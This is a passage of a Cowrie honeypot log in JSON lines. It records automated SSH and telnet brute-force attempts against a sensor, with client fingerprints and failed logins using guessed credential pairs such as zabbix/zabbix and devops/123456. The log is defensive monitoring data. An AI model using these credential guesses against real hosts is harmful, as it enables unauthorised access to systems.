ngCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:23:47.869535Z","src_ip":"172.237.20.62","session":"163997a5d8d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy@123","message":"login attempt [deploy/deploy@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:23:48.347314Z","src_ip":"172.237.20.62","session":"163997a5d8d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:23:49.508652Z","src_ip":"172.237.20.62","session":"163997a5d8d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":51956,"dst_ip":"159.203.135.109","dst_port":22,"session":"44b98994de0f","protocol":"ssh","message":"New connection: 172.237.20.62:51956 (159.203.135.109:22) [session: 44b98994de0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:23:58.623675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:23:58.629427Z","src_ip":"172.237.20.62","session":"44b98994de0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:23:58.824285Z","src_ip":"172.237.20.62","session":"44b98994de0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"factorio","password":"factorio","message":"login attempt [factorio/factorio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:23:59.300452Z","src_ip":"172.237.20.62","session":"44b98994de0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:24:00.463248Z","src_ip":"172.237.20.62","session":"44b98994de0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.106.245.20","src_port":58639,"dst_ip":"10.17.0.5","dst_port":22,"session":"20c8f539c8b8","protocol":"ssh","message":"New connection: 193.106.245.20:58639 (10.17.0.5:22) [session: 20c8f539c8b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:24:06.820784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:24:06.825900Z","src_ip":"193.106.245.20","session":"20c8f539c8b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:24:06.949639Z","src_ip":"193.106.245.20","session":"20c8f539c8b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"t","message":"login attempt [test/t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:24:07.427175Z","src_ip":"193.106.245.20","session":"20c8f539c8b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:24:08.555603Z","src_ip":"193.106.245.20","session":"20c8f539c8b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":58240,"dst_ip":"159.203.135.109","dst_port":22,"session":"03cafbc52557","protocol":"ssh","message":"New connection: 172.237.20.62:58240 (159.203.135.109:22) [session: 03cafbc52557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:24:09.409979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:24:09.415626Z","src_ip":"172.237.20.62","session":"03cafbc52557","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:24:09.578430Z","src_ip":"172.237.20.62","session":"03cafbc52557","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:24:10.056516Z","src_ip":"172.237.20.62","session":"03cafbc52557","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:24:11.217795Z","src_ip":"172.237.20.62","session":"03cafbc52557","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":40496,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d4f5482a132","protocol":"ssh","message":"New connection: 172.237.20.62:40496 (159.203.135.109:22) [session: 6d4f5482a132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:24:20.316786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:24:20.321846Z","src_ip":"172.237.20.62","session":"6d4f5482a132","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:24:20.486001Z","src_ip":"172.237.20.62","session":"6d4f5482a132","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:24:20.973771Z","src_ip":"172.237.20.62","session":"6d4f5482a132","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:24:22.139817Z","src_ip":"172.237.20.62","session":"6d4f5482a132","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":50580,"dst_ip":"159.203.135.109","dst_port":22,"session":"eec4fb88fcf3","protocol":"ssh","message":"New connection: 172.237.20.62:50580 (159.203.135.109:22) [session: eec4fb88fcf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:24:31.400200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:24:31.405484Z","src_ip":"172.237.20.62","session":"eec4fb88fcf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:24:31.569263Z","src_ip":"172.237.20.62","session":"eec4fb88fcf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clawdbot","password":"clawdbot","message":"login attempt [clawdbot/clawdbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:24:32.047795Z","src_ip":"172.237.20.62","session":"eec4fb88fcf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:24:33.210265Z","src_ip":"172.237.20.62","session":"eec4fb88fcf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":52878,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5ce7c451085","protocol":"ssh","message":"New connection: 172.237.20.62:52878 (159.203.135.109:22) [session: b5ce7c451085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:24:42.471570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:24:42.476743Z","src_ip":"172.237.20.62","session":"b5ce7c451085","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:24:42.649355Z","src_ip":"172.237.20.62","session":"b5ce7c451085","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456","message":"login attempt [debian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:24:43.138969Z","src_ip":"172.237.20.62","session":"b5ce7c451085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:24:44.305943Z","src_ip":"172.237.20.62","session":"b5ce7c451085","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.134.125.1","src_port":60096,"dst_ip":"159.203.135.109","dst_port":23,"session":"330d5f0ca0e8","protocol":"telnet","message":"New connection: 89.134.125.1:60096 (159.203.135.109:23) [session: 330d5f0ca0e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:24:53.195802Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":53740,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2df8456f0ed","protocol":"ssh","message":"New connection: 172.237.20.62:53740 (159.203.135.109:22) [session: c2df8456f0ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:24:53.532724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:24:53.540516Z","src_ip":"172.237.20.62","session":"c2df8456f0ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:24:53.700697Z","src_ip":"172.237.20.62","session":"c2df8456f0ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:24:54.403293Z","src_ip":"172.237.20.62","session":"c2df8456f0ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:24:55.565846Z","src_ip":"172.237.20.62","session":"c2df8456f0ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":58110,"dst_ip":"159.203.135.109","dst_port":22,"session":"303bdde7b692","protocol":"ssh","message":"New connection: 172.237.20.62:58110 (159.203.135.109:22) [session: 303bdde7b692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:04.760139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:04.771617Z","src_ip":"172.237.20.62","session":"303bdde7b692","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:04.922497Z","src_ip":"172.237.20.62","session":"303bdde7b692","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123456","message":"login attempt [openclaw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:05.550006Z","src_ip":"172.237.20.62","session":"303bdde7b692","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.24033808708191,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:06.436033Z","src_ip":"89.134.125.1","session":"330d5f0ca0e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":41920,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e9ba18d3aa8","protocol":"ssh","message":"New connection: 80.94.92.184:41920 (10.17.0.5:22) [session: 6e9ba18d3aa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:25:06.456253Z"}
